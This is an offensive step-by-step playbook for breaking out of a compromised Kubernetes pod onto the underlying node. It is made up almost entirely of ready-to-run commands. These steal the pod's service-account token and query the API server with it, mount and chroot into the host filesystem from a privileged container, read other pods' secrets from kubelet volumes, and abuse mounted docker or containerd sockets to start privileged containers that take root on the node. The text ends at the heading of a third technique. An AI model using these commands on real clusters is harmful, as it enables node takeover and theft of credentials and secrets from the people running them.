k8s-pod-escape

Kubernetes Pod Escape to Node

You have RCE inside a pod. Goal: break out of the container to the underlying node, then pivot to the cluster.

Phase 1: Enumerate the container

# Identify how you're contained
cat /proc/self/status | grep -E '^(Cap|Seccomp|NoNewPriv)'
cat /proc/1/status | grep -i cap
mount | grep -E 'cgroup|hostpath|/var/run/docker.sock|/var/run/crio'
ls -la /dev | head -20
id
hostname

# Service-account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 60
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Token + APIserver — confirm you can talk to the API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods

Phase 2: Detect escape primitives (check each, escalate via the first that works)

2.1 Privileged container

# Privileged = full host kernel access. CapEff: 0000003fffffffff is the giveaway.
grep CapEff /proc/self/status
# 0000003fffffffff or "ALL" → you're privileged. /dev/sda1, /dev/kmsg etc are visible.
ls -la /dev/sda* /dev/nvme*

# Mount host filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host          # adjust device — `lsblk` to confirm
chroot /mnt/host /bin/bash
# Now you're root on the node.

2.2 hostPath mount to / or /etc or /var/run/docker.sock

# Look for suspicious mounts
mount | grep -E '/host|/node|docker.sock|/etc|/root'
# /var/lib/kubelet mounted? You can read every other pod's secrets.
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/ 2>/dev/null

# /var/run/docker.sock or /run/containerd/containerd.sock mounted = node compromise
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/host alpine chroot /host
ctr -a /run/containerd/containerd.sock run --rm -t --privileged --mount type=bind,src=/,dst=/host,options=rbind alpine escape sh -c 'chroot /host'

2.3 hostPID + SYS_PTRACE (no privileged needed)